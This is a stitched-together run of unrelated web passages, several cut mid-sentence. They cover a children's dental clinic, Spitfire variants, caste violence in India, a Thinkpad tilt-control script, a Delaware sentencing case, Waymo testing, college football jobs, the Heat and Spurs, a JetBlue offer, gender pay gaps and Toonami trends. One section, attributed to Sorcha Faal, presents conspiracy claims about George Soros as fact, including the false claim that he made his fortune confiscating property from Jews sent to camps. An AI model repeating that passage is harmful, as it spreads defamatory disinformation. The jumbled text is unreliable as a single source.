Songs were sung against the sharp wind. It was hard to keep the candles lit. But as the sky darkened, a slender crescent moon appeared, along with Venus and Jupiter.
On a weekday morning, the Prince George’s County Health Department also commemorated that fifth anniversary, with speeches and a breakfast buffet. Congressman Elijah Cummings was there. He quoted the prophet Jeremiah, standing beside a large photograph of Deamonte. In the audience was Alyce Driver, dressed in her scrubs, with tears in her eyes.
The Deamonte Driver Dental Project mobile clinic was parked outside, offering tours to dignitaries and care to schoolchildren. Alyce took some fruit from the buffet and climbed aboard. She quietly went to work beside volunteer dentist Mfon Umoren.
Alyce guided the children back to the dental chair one by one, removing their woollen hats and wiping their runny noses, tucking the paper bibs under their chins, comforting the ones who were frightened. She took up the clipboard with a paper chart for each child. She listened as Umoren examined each tooth and offered her assessment. She used a red pen to mark the diseased places on the chart.
Around Alyce, the mobile clinic bearing her son’s name was a small, plain, well-lit world. The instruments whirred and pulsed, and beneath their sounds was the hum of the generator that powered the clinic. It was the hum of a battle against disease; the battle for health, plain and ordinary, being fought one tooth at a time, at the heart of a silent epidemic |
or blister-shaped, cockpit, thereby completing the Spitfire’s classic profile.
Windscreen plastic had been replaced by armoured glass, armour plate was fitted at the rear of the engine bulkhead, a power-operated pump was installed to operate the undercarriage, and the tail-skid had been replaced by a wheel. The Merlin Mark II engines were giving way to the Mark III with its improved airscrew shaft, and the two-blade wooden propeller had been replaced by the De Havilland three-blade metal, two-pitch propeller, significantly enhancing performance, particularly in the climb.
Remodelling and rearming
Most of the Spitfires with which the RAF fought the Battle of Britain were Mark Is, but work had begun on a Mark II as soon as the first model had gone into production, and some were already in service as early as the summer of 1940.
There was little difference between the two marks, the main one being that the Mark II Spitfires were fitted with the Merlin XII engine, rated at 1150hp. The Spitfire Mark II had slower maximum and cruising speeds, but a faster climb rate, being able to reach 20,000ft in 7 minutes, and had an improved ceiling of 32,800ft. The Mark II had better protection for the pilot as well, with increased armour behind the pilot’s seat to protect his head.
Another early development which led to increased Spitfire variety was the production of different wing types to accommodate a range of different armament set-ups. The A wing was the original one designed to hold four.303 machine guns. The B wing was designed to accommodate the newly accepted Hispano-Suiza 20mm cannon, so each wing had one cannon and two.303 machine guns.
The C, or ‘Universal’, wing could accommodate either the A or B combinations, or an altogether new combination of two 20mm cannons. There was no D wing, but an E wing was created, which carried a 20mm cannon and a.50in machine gun.
Fifty Mark IBs were manufactured, but there were problems with feed to the cannon. By the time the Mark II was ready to enter service, this problem had been sorted. Of the 920 Mark IIs made, some 170 had the B-wing combination.
In the continual programme of updating and improving the Spitfire, the next most significant development was the Mark V, and with a production run of nearly 6,500, this was the most common type ever produced. They were manufactured mostly in the B and C versions. Some with the Universal wing were given four cannons and could carry one 500lb bomb or two 250lb bombs. They were also fitted with drop tanks of 115 or 175 gallons, significantly increasing endurance.
Faster and higher
The Mark V Spitfires were powered by the Merlin 45 and 46 engines, producing 1470hp at 16,000ft. These new, more powerful Spitfires were the Air Ministry’s response to the introduction of the Messerschmitt Me 109 F and the Focke-Wulf FW 190 in the spring of 1941, both of which clearly outclassed the Spitfire Mark II. The Mark VAs could reach a speed of 376mph at 19,500ft, at which height the Mark VB’s speed was 369mph, whilst the Mark VCs reached 374mph at 13,000ft. The climb performance of the Mark Vs was improved, being able to reach 10,000ft in 3 minutes 6 seconds, and 30,000ft in 12 minutes 12 seconds. The Spitfire’s ceiling was also raised by some 2,000ft.
As plane performance improved on both sides, and as the number of roles aircraft were asked to perform increased, so the Spitfire proved its versatility as a new range of designations was introduced. Those Spitfires designed for high-altitude work were given the preface HF, those for low-altitude LF, and those for normal duties F. The HFs and LFs were given variations of the Merlin engine specifically designed for their tasks. The HFs were distinguishable by their extra long wing-tips, whereas the LFs had clipped wings.
Developments and adaptations continued to the end of the war, with the Mark IX taking over from the Mk V as the most commonly manufactured plane of the later series, with some 5,500 produced, of which more than 1,000 went to Russia. Increasing numbers of Spitfires were also being sent to the Middle Eastern and Far Eastern theatres.
Experiments had been ongoing with the new Rolls-Royce Griffon engines. The first of the production Spitfires with these engines was the Mark XII with the Griffon III or IV, followed by the Mark XIV with the 2050hp Griffon 65, driving a five-blade Rotol propeller. The Mark XIV had a maximum speed of 443mph at 30,000ft, and could reach a height of 12,000ft in just 2 minutes 51 seconds. It was a Mark XIV which was the first Allied plane to bring down a Messerschmitt Me 262, the world’s first operational jet fighter.
The appearance of the Me 262, however, showed the way to the future. After the war, designers everywhere turned to the production of jet-engined fighters. The Spitfire’s postwar service life was brief.A Hindu priest attacked an eight-year-old boy from India's "untouchable" low caste and smashed his head into a stone pillar because he entered a temple to ask for sweets.
The boy, who was treated for serious head injuries, was playing outside the temple in Bangalore when he saw a priest distributing sweets as blessings and followed him into the temple to ask for one.
According to police, the priest became enraged when the boy followed him into the temple’s inner sanctum, where icons of its most revered deities are kept, and attacked him. He repeatedly smashed his head against a temple pillar, causing severe bleeding.
The priest has now been arrested for the assault but a campaign group for Dalit rights said the attack highlighted continuing caste violence in India.
Caste-based discrimination was banned in India in 1955, but Dalits (people from the lowest caste) face prejudice in every sector from education to employment.
Earlier this month a 15-year-old "untouchable" boy in Bihar was doused with oil and burned to death after one of his goats wandered into a field belonging to a high-caste man.
According to Dalit campaigners, the priests later accused the boy of stealing from the Rudreshwara Swami temple in Nelamangala to cover up the brutal attack on him.
"They are now trying to hush up the matter and are making theft allegations but we want stern action against the culprit," said Bhaskar Prasad of the Dalit Sangharsh Samiti campaign group.
A police spokesman said the boy had suffered serious injuries and was "bleeding profusely" after the attack. The priest has been charged with assault under India's Scheduled Castes Act, he said.At the bottom of this post is a Python script that uses the Lenovo Thinkpad (a T520 in my case) accelerometer as input. That means that you can tilt your laptop to issue commands, in this example controlling your music player.
To get this working, we need to install an extra kernel module and user space daemon:
sudo apt-get install tp-smapi-dkms hdapsd
The first is a dynamic kernel module exposing some extra features of the Thinkpad hardware/firmware, e.g. battery charging. It also provides a improved version of the mainline HDAPS driver. FYI, HDAPS stands for "Hard Drive Active Protection System", which is IBM/Lenovos name for active hard-drive protection.
The second is the hdapsd disk protection user space daemon. Its official use is monitoring the acceleration values through the HDAPS interface and automatically initiating disk protection, but it also allows users to easily read out the values of the HDAPS interface.
Loading the module should show up in your dmesg output:
[ 343.452582] thinkpad_ec: thinkpad_ec 0.41 loaded. [ 343.465315] tp_smapi 0.41 loading... [ 343.465395] tp_smapi successfully loaded (smapi_port=0xb2). [ 350.973926] hdaps: initial mode latch is 0x05 [ 350.974084] hdaps: setting ec_rate=250, filter_order=2 [ 350.974301] hdaps: device successfully initialized. [ 350.974347] input: ThinkPad HDAPS joystick emulation as /devices/virtual/input/input13 [ 350.974494] input: ThinkPad HDAPS accelerometer data as /devices/virtual/input/input14 [ 350.974580] hdaps: driver successfully loaded.
And you now should have a file through the sysfs interface, which contains the current orientation of the laptop in two dimensions.
cat /sys/devices/platform/hdaps/position (471,504)
The Python script (download) below reads in those values, and uses it to provide four "inputs": tilt left, tilt right, tilt forward, tilt backward. These are mapped to four commands for my cmus console music player, i.e. toggle play/pause, next track and volume up/down. But any console command (or Python-function) can be called.
It also does some rudementary averaging, together with threshold detection. This makes sure undeliberate changes are unlikely to trigger the command, and allows for gradual shifts of the baseline position of the laptop.
Starting up the tilt-detection/controller is a simple./monitor.py. It prints out if/which tilt it detects, and you can comment out some other print statements for debugging.Spread the love
Ashley Alman
The Huffington Post
March 31, 2014
A Delaware man convicted of raping his three-year-old daughter only faced probation after a state Superior Court judge ruled he “will not fare well” in prison.
Image: Robert H. Richards IV. Image: Robert H. Richards IV.
In her decision, Judge Jan Jurden suggested Robert H. Richards IV would benefit more from treatment. Richards, who was charged with fourth-degree rape in 2009, is an unemployed heir living off his trust fund. The light sentence has only became public as the result of a subsequent lawsuit filed by his ex-wife, which charges that he penetrated his daughter with his fingers while masturbating, and subsequently assaulted his son as well.
Richards is the great grandson of du Pont family patriarch Irenee du Pont, a chemical baron.
According to the lawsuit filed by Richards’ ex-wife, he admitted to assaulting his infant son in addition to his daughter between 2005 and 2007. Richards was initially indicted on two counts of second-degree child rape, felonies that translate to a 10-year mandatory jail sentence per count. He was released on $60,000 bail while awaiting his charges.
Full article hereProfessor Ryron Gracie is the grandson of Grandmaster Helio Gracie and one of the leading resources for self defense focused Jiu-Jitsu. He talks about the pros and cons of competing, how his family nurtured Jiu-Jitsu among the younger generation and more! Click “read more” for show notes!
SHOW NOTES:
Growing up in the Gracie family
The value he places on his competitive accomplishments
The dynamic of great teachers and great competitors
Does competition push some people away from Jiu-Jitsu?
Training martial artists vs training fighters
How his family cultivated a passion for Jiu-Jitsu within the younger generation
How to properly encourage your child in Jiu-Jitsu
Considering the feelings of your students
Competing while his grandfather was watching
The special expectations Grandmaster Helio had of him
The 5 words Grandmaster Helio said to him that had great impact on his Jiu-Jitsu
Finding your definition of what Jiu-Jitsu is
Why he rolls like an 80 year old twice a week
Working with Law Enforcement
How much Jiu-Jitsu do you need to defend yourself against an untrained attacker?
Is a lack of adequate hand to hand training causing more police shootings?
[powerpress]CLOSE Waymo, Google's self-driving car division, this week offered it first ride-along to media in their fleet of Lexus autonomous vehicles that the company has been testing on roads in the suburbs of Phoenix since last year. (Jan. 13) AP
A row of Google self-driving cars outside the Computer History Museum in Mountain View, Calif., in 2014 (Photo11: Eric Risberg, AP)
Google spinoff Waymo is getting closer to the day when drivers can get in a car with no pedals, steering wheel or mirrors, and allow the car to get them to their destination by simply providing the address.
How much closer? The company now reports that test drivers only have to take control about once every 5,000 miles. That's about one-fourth as often as they were required to help the cars a year ago.
Officials from the self-driving car company, a division of Google parent Alphabet, are testing their vehicles here and elsewhere in metro Phoenix.
The cars use a variety of sensors to navigate and avoid collisions.
"When the car is unsure, it does the conservative thing," said Jaime Waydo, a lead systems engineer for Waymo who has also worked in various positions as an engineer for NASA's Jet Propulsion Laboratory. "We've seen a lot of really weird stuff."
The engineers have to program the cars to not only safely navigate "weird stuff," such as a woman chasing ducks with a broom (Waydo's example), but to do it without simply bailing out and re-engaging the human driver.
Vehicle testers have had about 10 of the self-driving Lexus RX 450h vehicles in Arizona for the past nine months, along with dozens of others in Kirkland, Wash., Mountain View, Calif., and Austin. Later this month, new Chrysler Pacifica hybrid minivans will join the test fleet in Arizona.
Company officials said the number of cars in Arizona fluctuates. The cars tested Thursday had California plates.
Waydo and other company officials gave reporters rides in the vehicles around a Chandler neighborhood Thursday, explaining the technology and progress.
Since Waymo, formerly known as the Google self-driving car project, came to Chandler, General Motors has expanded its self-driving car tests to Scottsdale, and Uber brought a small fleet of similar test cars to Arizona after a dustup with California regulators.
"The fact that a lot of people are researching it shows what a large problem there is to solve," Waydo said.
The problem, as Waymo officials see it, is that 35,000 people or so die in the U.S. each year in car accidents. They believe they can make cars that drive themselves much more safely. They also envision the technology helping people such as those who are blind or otherwise incapable or operating a vehicle by providing on-call transportation.
Waymo's vehicles were involved in three accidents the first month they were in Chandler, but have not had any accidents since, Waydo said. Two cars were rear-ended, once in autonomous mode and another in manual. In the third incident, which is disputed between law enforcement and the company, the car was in manual mode and involved in a red-light running accident.
A variety of sensors distinguish the cars from the exterior, but other than a computer screen inside showing the car's interpretation of the outside world, little distinguishes it as a self-driving car other than a large, red kill-switch near the shifter.
"Every robot should have a big red button," Waydo said. "I have never heard of us using it."
Thursday was trash day, so residents near Arrowhead Meadow Park had their bins lined up in the bicycle lane. When two bins were pushed close together and near the car's lane, the vehicle slowed down and edged toward the middle of the road.
The vehicles can "see" what is going on for about 200 yards in all directions. Antennae atop the vehicles link to global-positioning system information so that the vehicles can compare what they are sensing with known information on streets, intersections and other features. But they can improvise, too, thanks to radar, which aims in all directions and provides information on other objects' speed and direction.
“Our eventual goal is to not need the driver at all," Waydo says.
Lidar, a sensing technology that uses lasers the same way radar uses radio waves, fills in a three-dimensional picture. This helps identify objects such as trees, bushes, animals, pedestrians, cyclists and other things drivers encounter on roadways that are not indicated on GPS maps.
"Lidar can tell which way a face is turned," Waydo said. "People don't usually walk backwards, though they do sometimes."
Finally, cameras atop the vehicle provide details such as color, helping identify things such as stop signs and lights.
Identifying objects helps guide the vehicles and predict whether something might wind up in their pathway or not.
Two toddlers running around in a driveway Thursday didn't seem to warrant a reaction, but a truck that had pulled more than a bumper's length out of a strip mall into the vehicle's path warranted not only braking but a brief hesitation before passing.
The ride seemed a tad jerky during some of the accelerations from stops and turns, considering some of the early reviews out of Mountain View in which people described the vehicles as overly cautious.
They wait 1.5 seconds before proceeding through a light when it turns from red to green, but otherwise Waymo officials said the technicians are trying to make them drive more like humans — but safer.
That means they must be predictable and not "drive like a robot car."
"Our eventual goal is to not need the driver at all," Waydo said.
Read or Share this story: http://usat.ly/2jDglcjLet’s say you’re an up-and-coming college football coach and, for whatever reason, every Power 5 job in America opened tomorrow.
Which would you covet? Which would you avoid?
With input and feedback from coaches, administrators and others in the industry, 247Sports this week will count down the power conference jobs, from No. 65 to No. 1.
Today we highlight programs with, in most cases, the resources and support to somewhat regularly compete for conference titles.
35. North Carolina
Every sense we get is that North Carolina is neither a bad nor great job. In its current state, it just kind of is — and that’s why you find it halfway between No. 65 and 1.
It’s possible to compete for division and conference titles, as Larry Fedora’s staff demonstrated with an ACC Coastal championship in 2015.
The town is great, one of the best pure college towns in America, but the football staff will always fight the “hoops school” perception. Unlike Kentucky, millions and millions have not been earmarked for football; the support level is not commensurate.
When UNC completes its indoor facility in the next couple of years, it will be one of the last two ACC schools to have one.
And there’s the never-ending NCAA investigation into department-wide academic impropriety. It’s hung over Fedora’s staff for the entirety of its five-year stay.
34. Arizona State
Industry sources like this job and its upward potential, even though it requires annual duels with USC and UCLA in the Pac-12 South. Todd Graham’s 10-win seasons in 2013 and 2014 showed the higher reaches of the ceiling - but the program has won just 11 games since then.
“I think someone can do more with it than (Graham) has,” one person familiar with ASU told us.
RELATED: Sources wonder if Graham is running out of time in Tempe
Bolstering that notion is the gradual renovation of Sun Devil Stadium — a four-year, phase-by-phase project with a total price tag of $268 million.
Just east of downtown Phoenix and adjacent to vibrant Scottsdale nightlife, Tempe is an attractive city with good access to area JUCOs and Los Angeles-area talent.
Graham’s staffs have typically recruited well, in the 20s and 30s in our rankings. The recent win totals have not corresponded to the level of incoming talent. With resources and location, a new staff could legitimately vault ASU into a top-20 job.
33. Iowa
Longtime coach Kirk Ferentz has said that he thinks Iowa is college football’s version of the Pittsburgh Steelers. He means it in terms of administrative consistency — and the color scheme — but at some point the comparison falls flat. Ferentz doesn’t have a collection of national championships, and Iowa City is quite isolated.
Iowa is and will always be a program reliant on player development, even if a $55 million football complex has made the school more attractive to recruits.
Fair expectation is likely what Iowa most has in its favor. Even when Ferentz has wobbled, the school has remained patient, and then rewarded him with long-term extensions. A number of coaches would sign up for that arrangement.
32. Ole Miss
An agent called the other day to quibble with Ole Miss being rated this low, on the basis of resources and access to recruits. In fairness, it would certainly be in the 20s if not for the hovering NCAA stormcloud, with the program bracing for a punishment to drop in the coming months.
Until the repercussions are known, any hypothetical candidates would be reticent to covet or take the Ole Miss job.
And as coach Hugh Freeze has said, the waiting proves to be the hardest part. Without knowing the decision or the timeline of it, speculation — and negative recruiting against the Rebels — has run rampant.
Aside from that elephant in the room, the program has made incredible strides to catch up in the SEC West. It would have been unfathomable a few short years ago to say that the Ole Miss coach would make in the neighborhood of $5 million a year. Renovations to the team’s complex and stadium have brought facilities into the new era, as well.
If the Rebs can navigate the NCAA matters, the job figures to eventually bounce back. For now, we’ll respectfully ignore the agent and leave it here.
31. Baylor
For obvious reasons, Baylor in 2016 undid a number of the positive things that had happened under deposed coach Art Briles. It’s a program, and University, that is assessing and redefining itself in the aftermath of the sexual assault scandal that rocked the campus.
Until it’s absolutely certain that the fallout is complete and that Baylor has figured out a plan moving forward, agents would tell their clients to be leery of this job. Industry sources feel as if it’ll take two or three years to fully ensure there will be no damaging repercussions from the NCAA — or, on the university level, the federal government.
On the field, the Briles era showed what was possible in terms of spending and competing in the Big 12. That part would have prospective coaching candidates lining up for the gig, even if — no offense to Chip and Joanna — Waco isn’t exactly a Texas destination city.
30. Nebraska
Fan and internal support remain incredibly high, and the brand is still strong among those in the sport. But it has waned with recruits over the years. So the challenge at NU, as Mike Riley and his staff have encountered, is making it a national recruiting job.
“How can you make Lincoln, Nebraska — the Heartland — appealing to kids in L.A., kids in Miami?” one agent told us.
The Huskers’ 23rd-ranked class in 2017 featured three Nebraskans (of 20 commits). Nine other states were represented. Sources say that as much as satellite camps were debated to death last year, Nebraska is a program that is aided by them — and not in a Harbaugh-esque, showy way.
The Big Ten has not provided the title path that the school and its fans perhaps envisioned, but the Western Division still a palatable road for a prospective staff compared to the opposite side of the conference.
Nebraska isn’t the job that it was in the 1970s, 1980s and 1990s, clearly, but it still has appeal among coaches. It’s still iconic.
29. Oklahoma State
T. Boone Pickens is the obvious name to note with elevating this program into an era of relevancy. The superbooster made dramatic facilities upgrades possible, and he remains involved in upkeep so that OSU is on the cutting edge of Big 12 resources.
That support has worked to offset the disadvantages of being located in Stillwater, Oklahoma, which is more than an hour from either of the state’s larger cities, OKC and Tulsa. The facilities allow the Cowboys to have a chance with high-end recruits, especially those from neighboring Texas.
Peers say the work that Mike Gundy has done to make his alma mater consistently successful, averaging 9.7 wins for the past seven seasons, is highly underrated. That would be a harder act to follow than many outside the profession may realize.
28. Louisville
Already ahead of its then-Group of 5 peers in terms of facilities and salaries, Louisville’s move into the ACC was vital in its ambition to continue growing and climbing in these rankings. (It says something that the Big 12 still regrets not adding the school.)
Tom Jurich is an aggressive AD in spending and support. Fans are passionate for the program’s well being, too: Donations have made it possible for a $55 million stadium renovation to be done by 2018, a year earlier than some projections.
Access to recruits is the clear downside, but Bobby Petrino’s staff is managing that reality well. Of the 22 players in this year’s No. 32 class, 21 were from out of state. Seven were from Georgia and four were Floridians. (Returning Heisman winner Lamar Jackson is also from Florida.)
27. South Carolina
The campus and stadium areas are almost unrecognizable compared to when Steve Spurrier took over a little more than a decade ago. A standalone football complex will soon join a new indoor facility across Bluff Road from Williams-Brice Stadium.
The facilities evolution is providing Will Muschamp and his staff far more to show off in recruiting, something that’s necessary in drawing regional talent.
The state of South Carolina simply does not produce enough in-state talent to service both the Gamecocks and rival Clemson.
Expectations are central to assessing this job. South Carolina has never won an SEC title, but its ambitions are to regularly compete for them. If fans and the school’s board understand that Spurrier’s run of three 11-win seasons (2011-13) isn’t the norm — and 7-9 wins is more in line with reality — then everyone will get along fine. If not, this becomes a very challenging job, one that many coaches would avoid.
26. Wisconsin
In many respects, Wisconsin is the strangest job in America to evaluate. There’s plenty of tradition, much of it related to AD Barry Alvarez’s success as the Badgers’ coach. There’s a ton of fan support and zeal. Madison is a fantastic mid-sized college town, a capital city with great energy.
But then there’s the other side: The university’s leadership has been more than plodding in adapting to the nature of modern college football. As he left for Oregon State, clearly a lesser job, Gary Andersen was displeased by the school’s lack of appetite for paying assistant coaches fair market value. Former Wisconsin coaches have also bemoaned a rigid academic standard that increases the challenge for an already tricky recruiting job. Nebraska and Iowa are not dealing with those restrictions, they reason.
And then there’s the shadow that Alvarez creates from his AD seat. He’s a very present figure.
With the consistent winning standard, this would be an appealing job to many coaches. But, like Andersen, they might not like what they found once on the ground.
Previous tiers: 65-56, 55-46, 45-36.MIAMI — You'd think Chris Bosh could have rested easy this summer.
You'd think, as the center settled into the offseason following another Miami Heat triumph, he could have dimmed the lights, shut his eyes and drifted away, into sweet dreams of Champagne-dousing and ring-sizing. You'd think that any memories of Game 6 of the NBA Finals would have been an endless loop of celebration, of him securing a critical rebound, whipping the ball out to Ray Allen and watching it sink slowly through the hoop.
Not so.
"Weeks after the game, I was waking up thinking we were still playing, and it was the worst feeling in the world," Bosh said. "Because I didn’t want to play basketball. It was crazy. I didn’t want to be in that situation anymore. It was so stressful. I wasn’t having any fun playing basketball until it was over. And I’d wake up, and I’d be like, 'All right, we got to guard the pick-and-roll!' Then I'd realize, 'Oh, it's over.' And then I’d be like, 'Golly, you know, I couldn’t imagine if I was those guys.'"
Those guys.
The San Antonio Spurs, the team that visits Saturday for a preseason game at AmericanAirlines Arena, the scene of the crime.
They are the other side of the Heat's glory story.
Steve Mitchell-USA TODAY Sports
"I know how I feel," Bosh said. "But their nightmare follows them. I couldn’t imagine it. We were still shell-shocked, and we won. But just to come that close..."
A five-point lead with 22.9 seconds left in Game 6, prior to LeBron James' three-pointer from up top.
A three-point lead with 6.3 seconds left, prior to Allen's three-pointer from the corner.
An one-point lead with 2:03 left in the overtime.
A two-point lead late in the third quarter of Game 7.
"I mean, just like...what happened was divine," Bosh said.
For the Heat.
For the Spurs?
It was the Nightmare on Eighth Street...and Biscayne Boulevard.
"They came one rebound away from a championship, and their best rebounder at the time, it just goes through his hands," Bosh said of Kawhi Leonard. "It’s just crazy how things like that happen. I mean, just change the sequence of events. And it’s funny, you can’t really look at, if he woulda, if he woulda, I mean, what happened happened, and it’s crazy."
The circumstances have become no less crazy upon each viewing for him, nor for his teammates. Some, such as Bosh, Mario Chalmers and LeBron James, have seen Game 6 repeatedly. Others, such as Erik Spoelstra, have stumbled across it.
Derick E. Hingle-USA TODAY Sport
"I watched edits, when we started getting ready for the season in August," said Spoelstra, who has spoken of the need to put it behind them before the opening of a new campaign on Oct. 29. "I watched offensive and defensive clips in August, to get ready for the season. But other than that, I’m not throwing it on and sitting back and going, 'Wow, look at that. That’s awesome!' But you see it enough on TV or around the arena. I’ve seen Ray’s shot countless times."
So has Udonis Haslem, even though he, more than any other Heat player, preaches the need to "move on to the next."
"It's hard not to see the 'get the ropes out of here' play," Haslem said. "But besides that, I haven’t watched the games. Everywhere you turn, you see that. And you get to read Ray’s lips. I’m not going to say exactly what he said."
Haslem laughed. The sight of that scene—and Allen's emphatic expletive—certainly don't stir the same emotion in the Spurs.
"The guy probably most responsible from a skill standpoint of me being in the NBA coaches on their staff, Chip Engelland," Shane Battier said. "After the initial euphoria of winning first subsided, my first thought was Chip. I can only imagine what those guys went through last summer. And the emotions of seeing the yellow rope. The yellow rope symbolizes a lot for us, and I’m sure it symbolizes a lot for them too. Yeah, it was such a short summer. It was hard enough for us to get back in the swing of things. I can only imagine how they felt trying to turn it on again."
Chalmers isn't eager to empathize. Over the summer, he watched Game 6 and 7 roughly six times each, as a means of reflecting on "how much hard work we put in, just how hard it was to win it." Still, all the odd occurrences didn't seem quite as strange to him.
"Nope," Chalmers said. "Because of the Kansas-Memphis game."
That was the 2008 NCAA championship game, which his Jayhawks won 75-68 in overtime after Chalmers tied it in regulation with 2.1 seconds left.
"I’ve been through those situations before, so I’m not shocked," Chalmers said. "I’ve seen it happen before. The missed free throw. Three-pointers. I’ve seen it done before. Anything can happen. But I would hate to be on the other side."
Streeter Lecka/Getty Images
The closest he's come was with the Heat, losing to the Dallas Mavericks in the 2011 NBA Finals in six games. But that wasn't as traumatic as what the Memphis Tigers or the San Antonio Spurs endured. It didn't come down to one rebound, one shot.
Does he ever consider what that would be like?
"I can’t," Chalmers said. "I don’t want to. I don’t want to think about it. I don’t want to know what that feeling is. Nope. I don’t want to think about it."
So will he put his arm around a Spur on Saturday, in sympathy?
He shook his head and smiled.
What about Bosh?
"You want to feel sorry for them," Bosh said, laughing. "But better you than me."
Ethan Skolnick covers the Heat for Bleacher Report.JetBlue Airways (JBLU) is offering free flights to two officers from any U.S. law enforcement agency who wish to attend the funerals of slain New York City policemen Wenjian Liu and Rafael Ramos.
The carrier, which is based in New York, said it is also offering flights at no charge to the families of the murdered officers. The two were shot to death in Brooklyn on Saturday as they sat in their patrol car. JetBlue also said it is working with another airline to fly in the family of Ofc. Liu from China so they can attend his service.
"We're honored to do what we can to support the communities we serve, and our team has made flights available to law enforcement agencies across our route network who wish to send representatives to New York to support their brethren," a JetBlue spokeswoman said in a statement.
NYPD commissioner on protecting officers, keeping the city safe
A wake for Ofc. Ramos is scheduled for Friday, and his funeral will be on Saturday at Christ Tabernacle Church in Glendale, New York. Vice President Joe Biden is among those slated to attend Ramos's funeral. Liu's funeral has yet to be scheduled. Several thousand law enforcement officials from around the country are also expected to gather in New York for the services.
The murders of Liu and Ramos by Ismaaiyl Brinsley, who was later found dead of a self-inflicted gunshot, has underscored the lethal risks facing officers, while also roiling the debate about police tactics following the recent deaths of Michael Brown in Missouri and Eric Garner in New York.World's Largest English Language News Service with Over 500 Articles Updated Daily
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March 27, 2017
Soros Funded Protests In Moscow Warned Are Yet Another “Prelude To War”
By: Sorcha Faal, and as reported to her Western Subscribers
A grim new Security Council (SC) report circulating in the Kremlin today states that the simultaneous George Soros funded protests occurring yesterday in both Russia and Belarus were meant to coincide with one of the largest NATO war exercises in history, and are but another example of the United States “prelude to war” subversive actions against the Federation. [Note: Some words and/or phrases appearing in quotes in this report are English language approximations of Russian words/phrases having no exact counterpart.]
According to this report, George Soros is an American-Hungarian billionaire who revealed how he became wealthy during a 1998 interview with US reporter Steve Croft when he gleefully admitted that 1944, at the height of World War II, was the happiest year of his life, and was when he made his fortune confiscating the property of Jews sent by the Nazis to concentration camps to be slaughtered—and in the early 1990’s when being interviewed by a British reporter, declared he controlled America and said about himself: “I imagine myself to be God... I carried some powerful messianic fantasies that I felt I had to control them, otherwise they could lead me to trouble…it's a kind of disease when you consider yourself God, the creator of everything, but I feel comfortable from the fact that I began to live this way.” (ENGLISH)
George Soros, the controller of America and the world’s newest “god”
With two branches of George Soros' charity network—the Open Society Foundations (OSF) and the Open Society Institute (OSI)—being banned in 2015 by Russia as being threats to the Federations national security, this report continues, this Nazi-aligned “god” has been immune to criticism in the West due to his vast media holdings and leftist organization structure that permeates nearly every single facet of life in America today and led to him being called Hillary Clinton’s “puppetmaster”.
To what the new Nazi “god” George Soros seeks to achieve, this report explains, is nothing less than the complete and total destruction of Russia whose turning away from globalist communist ideology towards nationalistic Christianity has alarmed the Western elites—and whose Christian Cross wearing leader, President Putin, has created what is being called the “Miracle of Russia” that these Western elites fear is going to emulated by President Donald Trump.
In order to destroy Russia, this report details, George Soros has financed and instigated a series of what are called “Colour Revolutions”—and whose next targets, beside Russia, include Southeast Asia and the United States.
Of his latest “Colour Revolution” successes, this report continues, the George Soros led and financed “Orange Revolution” in Ukraine has been the most destabilizing to the world—and that from its beginning in 2004, led to, a decade later in 2014, the overthrow of this nations legitimately elected government in what is now called “the most blatant coup in history |
2015 ranks Singapore's gender gap at 54th out of 145 states globally based on the economic participation and opportunity, the educational attainment, the health and survival, and the political empowerment subindexes (a lower rank means a smaller gender gap). The gender gap narrowed from 2014's ranking of 59. In the Asia and Pacific region, Singapore has evolved the most in the economic participation and opportunity subindex, yet it is lower than the region's means in educational attainment and political empowerment.[75]:25–27
United States
In the US the average woman's unadjusted annual salary has been cited as 78%[120] to 82%[121] of that of the average man's. However, after adjusting for choices made by male and female workers in college major, occupation, working hours, and parental leave, multiple studies find that pay rates between males and females varied by 5–6.6% or, females earning 94 cents to every dollar earned by their male counterparts. The remaining 6% of the gap has been speculated to originate from gender discrimination and a difference in ability and/or willingness to negotiate salaries.[122][123][124]
The extent to which discrimination plays a role in explaining gender wage disparities is somewhat difficult to quantify, due to a number of potentially confounding variables. A 2010 research review by the majority staff of the United States Congress Joint Economic Committee reported that studies have consistently found unexplained pay differences even after controlling for measurable factors that are assumed to influence earnings – suggestive of unknown/unmeasurable contributing factors of which gender discrimination may be one.[125] Other studies have found direct evidence of discrimination – for example, more jobs went to women when the applicant's sex was unknown during the hiring process.[125]
See also
For other wage gaps
References“Surrender. Run and hide. Oh yes, and give up. I should give up. That is what someone like you would say to do. Cowards who could not bear the weight of their own humanity. You pathetic monsters disgust me. Come on, let’s have it.”
– Integra Hellsing, Hellsing Ultimate (Ep. 05)
The Toonami Trending Rundown for October 18-19, 2014. Pretty good night for trending all things considered as One Piece, Hellsing Ultimate, Dandy, and Samurai Jack reached the US trending lists. In addition, Toonami also showcased a promo for DBZ Kai, and that also trended in the US as a result. And on Tumblr, trends of both Toonami and Attack on Titan were spotted.
We also got some special character trends from Bleach (Rukia as Riruka transforms her into a plushie, but manages to defeat Riruka anyway as well as Byakuya as he duels and ultimately blows a hole through Tsukishima), One Piece (Robin, as we were treated to a flashback to her days in Ohara), Gurren Lagann (Kamina, as Simon and the Dai Gurren crew try and cope with his passing), and Hellsing Ultimate (Alucard and Bruce Willis, as Alucard has a dream about him as well as Integra as the Millenium try and ultimately fail to capture her).
In addition, while a regional trend of Annie (as it was revealed that she was the Female Titan all along) and Sasuke (as Naruto has a flashback of his relationship with him) aren’t confirmed, tweet counts of those characters were also spotted.
Tonight also showcased a game review of Shadow of Mordor. Unfortunately, due to some technicalities, the ending of the review was cut short on-air, but Toonami gave it a 8.5 out of 10.
Not much else to say other than tune in next week as both Attack on Titan and Bleach showcase their penultimate episodes, among other great moments from the other shows. As Black Dynamite would say, can you dig it? Until next week, stay gold.
Legend: The number next to the listed trend represents the highest it trended on the list (not counting the promoted trend), judging only by the images placed in the rundown. For the mobile app trends, the listed number of tweets are also sorely based on the highest number shown based on the images on the rundown.
US Trends:
#DBZKai [#2]
Byakuya (From Bleach) [#8]
Rukia (From Bleach) [#8]
#OnePiece [#3]
#Robin/Robin (From One Piece) [#2]
Kamina (From Gurren Lagann) [#8]
#HellsingUltimate [#3]
Alucard (From Hellsing Ultimate) [#10]
Bruce Willis (From Hellsing Ultimate) [#7]
Integra (From Hellsing Ultimate) [#4]
Dandy [#9]
#SamuraiJack [#8]
Mobile App Tweet Counts:
Annie (From Attack On Titan) [32k Tweets]
Sasuke (From Naruto Shippuden) [10.1k Tweets]
Robin (From One Piece) [42.5k Tweets]
Dandy [10.4k Tweets]
Tumblr Trends:
#toonami
#attack on titan
Notes and Other Statistics:
